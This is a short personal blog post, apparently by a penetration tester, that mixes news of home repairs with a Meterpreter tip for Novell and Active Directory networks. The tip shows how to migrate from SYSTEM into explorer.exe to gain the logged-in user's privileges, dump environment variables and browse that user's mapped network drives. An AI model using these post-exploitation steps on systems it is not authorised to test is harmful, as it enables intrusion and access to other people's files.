Besides security, I just moved back home after 9 weeks of staying with a friend. My place was being repaired, and the repairs took significantly longer than planned, so I got screwed on the deal. But, I have a new floor, carpet, baseboards, and it didn't cost me anything! It looks great, and I'm excited to finish the move.

When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm

Anyhow, @jcran pointed out the following things to me:

1) If you are SYSTEM, you won't have the credentials of the logged in user.

2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.

3) The process is the same for finding mapped drives in both Novell and AD.

The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:

1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)

2) getuid (verify that you are now the user)

3) run get_env (this dumps the environmental variables including the mapped drives)

4) cd <drive letter> (browse the drives at your leisure)

Simple enough.  Now if only I'd thought it out first....